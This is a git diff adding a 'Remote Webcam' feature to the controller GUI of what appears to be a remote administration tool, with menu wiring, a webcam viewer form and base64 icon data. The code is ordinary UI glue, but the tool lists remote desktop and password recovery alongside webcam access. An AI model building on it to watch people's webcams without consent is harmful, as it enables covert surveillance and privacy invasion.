this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(149, 22); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // remoteExecuteToolStripMenuItem @@ -369,14 +371,13 @@ private void InitializeComponent() // lineToolStripMenuItem // this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; - this.lineToolStripMenuItem.Size = new System.Drawing.Size(146, 6); + this.lineToolStripMenuItem.Size = new System.Drawing.Size(149, 6); // // selectAllToolStripMenuItem // this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; - this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(149, 22); + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.selectAllToolStripMenuItem.Text = "Select All"; - this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); // // imgFlags // @@ -796,6 +797,13 @@ private void InitializeComponent() this.aboutToolStripMenuItem.Text = "About"; this.aboutToolStripMenuItem.Click += new System.EventHandler(this.aboutToolStripMenuItem_Click); // + // remoteWebcamToolStripMenuItem + // + this.remoteWebcamToolStripMenuItem.Name = "remoteWebcamToolStripMenuItem"; + this.remoteWebcamToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.remoteWebcamToolStripMenuItem.Text = "Remote Webcam"; + this.remoteWebcamToolStripMenuItem.Click += new System.EventHandler(this.remoteWebcamToolStripMenuItem_Click); + // // FrmMain // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -878,6 +886,7 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; private System.Windows.Forms.ToolStripMenuItem elevateClientPermissionsToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem connectionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteWebcamToolStripMenuItem; } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 19ba2f5d7..4d3d34a68 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -692,7 +692,19 @@ private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) frmRDP.Show(); } } - + private void remoteWebcamToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + if (c.Value.FrmWebcam != null) + { + c.Value.FrmWebcam.Focus(); + return; + } + FrmRemoteWebcam FrmWebcam = new FrmRemoteWebcam(c); + FrmWebcam.Show(); + } + } private void passwordRecoveryToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) @@ -835,10 +847,7 @@ private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e) #endregion - private void selectAllToolStripMenuItem_Click(object sender, EventArgs e) - { - lstClients.SelectAllItems(); - } + #endregion @@ -890,5 +899,7 @@ private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e) } #endregion + + } } \ No newline at end of file diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index e35801f65..c26fad919 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -405,7 +405,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAaABCAGgAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAbgBCAG4AQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Forms/FrmRemoteWebcam.Designer.cs b/Server/Forms/FrmRemoteWebcam.Designer.cs new file mode 100644 index 000000000..23509c183 --- /dev/null +++ b/Server/Forms/FrmRemoteWebcam.Designer.cs @@ -0,0 +1,158 @@ +namespace xServer.Forms +{ + partial class FrmRemoteWebcam + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteWebcam)); + this.btnShow = new System.Windows.Forms.Button(); + this.panelTop = new System.Windows.Forms.Panel(); + this.cbWebcams = new System.Windows.Forms.ComboBox(); + this.btnHide = new System.Windows.Forms.Button(); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.picWebcam = new xServer.Controls.RapidPictureBox(); + this.panelTop.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picWebcam)).BeginInit(); + this.SuspendLayout(); + // + // btnShow + // + this.btnShow.Location = new System.Drawing.Point(389, 84); + this.btnShow.Name = "btnShow"; + this.btnShow.Size = new System.Drawing.Size(54, 19); + this.btnShow.TabIndex = 10; + this.btnShow.TabStop = false; + this.btnShow.Text = "Show"; + this.btnShow.UseVisualStyleBackColor = true; + this.btnShow.Visible = false; + this.btnShow.Click += new System.EventHandler(this.btnShow_Click); + // + // panelTop + // + this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panelTop.Controls.Add(this.cbWebcams); + this.panelTop.Controls.Add(this.btnHide); + this.panelTop.Controls.Add(this.btnStart); + this.panelTop.Controls.Add(this.btnStop); + this.panelTop.Location = new System.Drawing.Point(330, 0); + this.panelTop.Name = "panelTop"; + this.panelTop.Size = new System.Drawing.Size(181, 76); + this.panelTop.TabIndex = 9; + // + // cbWebcams + // + this.cbWebcams.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbWebcams.FormattingEnabled = true; + this.cbWebcams.Location = new System.Drawing.Point(15, 30); + this.cbWebcams.Name = "cbWebcams"; + this.cbWebcams.Size = new System.Drawing.Size(149, 21); + this.cbWebcams.TabIndex = 8; + this.cbWebcams.TabStop = false; + // + // btnHide + // + this.btnHide.Location = new System.Drawing.Point(57, 54); + this.btnHide.Name = "btnHide"; + this.btnHide.Size = new System.Drawing.Size(54, 19); + this.btnHide.TabIndex = 7; + this.btnHide.TabStop = false; + this.btnHide.Text = "Hide"; + this.btnHide.UseVisualStyleBackColor = true; + this.btnHide.Click += new System.EventHandler(this.btnHide_Click); + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(15, 5); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(68, 23); + this.btnStart.TabIndex = 1; + this.btnStart.TabStop = false; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(96, 5); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(68, 23); + this.btnStop.TabIndex = 2; + this.btnStop.TabStop = false; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // picWebcam + // + this.picWebcam.BackColor = System.Drawing.Color.Black; + this.picWebcam.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.picWebcam.Cursor = System.Windows.Forms.Cursors.Default; + this.picWebcam.Dock = System.Windows.Forms.DockStyle.Fill; + this.picWebcam.GetImageSafe = null; + this.picWebcam.Location = new System.Drawing.Point(0, 0); + this.picWebcam.Name = "picWebcam"; + this.picWebcam.Running = false; + this.picWebcam.Size = new System.Drawing.Size(794, 562); + this.picWebcam.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picWebcam.TabIndex = 1; + this.picWebcam.TabStop = false; + // + // FrmRemoteWebcam + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(794, 562); + this.Controls.Add(this.btnShow); + this.Controls.Add(this.panelTop); + this.Controls.Add(this.picWebcam); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MinimumSize = new System.Drawing.Size(480, 320); + this.Name = "FrmRemoteWebcam"; + this.Text = "FrmRemoteWebcam []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteWebcam_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteWebcam_Load); + this.Resize += new System.EventHandler(this.FrmRemoteWebcam_Resize); + this.panelTop.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.picWebcam)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private Controls.RapidPictureBox picWebcam; + private System.Windows.Forms.Button btnShow; + private System.Windows.Forms.Panel panelTop; + private System.Windows.Forms.ComboBox cbWebcams; + private System.Windows.Forms.Button btnHide; + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + } +} \ No newline at end of file diff --git a/Server/Forms/FrmRemoteWebcam.cs b/Server/Forms/FrmRemoteWebcam.cs new file mode 100644 index 000000000..896819204 --- /dev/null +++ b/Server/Forms/FrmRemoteWebcam.cs @@ -0,0 +1,121 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Drawing; +using System.Windows.Forms; +using xServer.Core.Helper; +using xServer.Core.Networking; +using xServer.Core.Utilities; +using xServer.Enums; +namespace xServer.Forms +{ + public partial class FrmRemoteWebcam : Form + { + + public bool IsStarted { get; private set; } + private readonly Client _connectClient; + public FrmRemoteWebcam(Client c) + { + _connectClient = c; + _connectClient.Value.FrmWebcam = this; + + InitializeComponent(); + } + + private void btnShow_Click(object sender, EventArgs e) + { + panelTop.Visible = true; + btnShow.Visible = false; + btnHide.Visible = true; + this.ActiveControl = picWebcam; + } + + private void btnHide_Click(object sender, EventArgs e) + { + panelTop.Visible = false; + btnShow.Visible = true; + btnHide.Visible = false; + this.ActiveControl = picWebcam; + } + + private void FrmRemoteWebcam_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Remote Webcam", _connectClient); + + panelTop.Left = (this.Width / 2) - (panelTop.Width / 2); + + btnHide.Left = (panelTop.Width / 2) - (btnHide.Width / 2); + + btnShow.Location = new Point(377, 0); + btnShow.Left = (this.Width / 2) - (btnShow.Width / 2); + + if (_connectClient.Value != null) + new Core.Packets.ServerPackets.GetWebcams().Execute(_connectClient); + } + public void AddWebcams(List names) + { + try + { + cbWebcams.Invoke((MethodInvoker)delegate + { + for (int i = 0; i < names.Count; i++) + cbWebcams.Items.Add(string.Format("{0}",names[i])); + cbWebcams.SelectedIndex = 0; + }); + } + catch (InvalidOperationException) + { + } + } + public void UpdateImage(Bitmap bmp, bool cloneBitmap = false) + { + + + picWebcam.Image = new Bitmap(bmp, picWebcam.Width, picWebcam.Height); + } + + private void btnStart_Click(object sender, EventArgs e) + { + if (cbWebcams.Items.Count == 0) + { + MessageBox.Show("No webcam detected.\nPlease wait till the client sends a list with available webcams.", + "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + ToggleControls(false); + + this.ActiveControl = picWebcam; + + new Core.Packets.ServerPackets.GetWebcam(cbWebcams.SelectedIndex).Execute(_connectClient); + } + + public void ToggleControls(bool state) + { + IsStarted = !state; + + cbWebcams.Enabled = btnStart.Enabled = state; + btnStop.Enabled = !state; + } + + private void FrmRemoteWebcam_FormClosing(object sender, FormClosingEventArgs e) + { + if (_connectClient.Value != null) + _connectClient.Value.FrmWebcam = null; + } + + private void FrmRemoteWebcam_Resize(object sender, EventArgs e) + { + panelTop.Left = (this.Width / 2) - (panelTop.Width / 2); + btnShow.Left = (this.Width / 2) - (btnShow.Width / 2); + } + + private void btnStop_Click(object sender, EventArgs e) + { + ToggleControls(true); + this.ActiveControl = picWebcam; + + new Core.Packets.ServerPackets.DoWebcamStop().Execute(_connectClient); + } + } +} diff --git a/Server/Forms/FrmRemoteWebcam.resx b/Server/Forms/FrmRemoteWebcam.resx new file mode 100644 index 000000000..2c592595d --- /dev/null +++ b/Server/Forms/FrmRemoteWebcam.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + 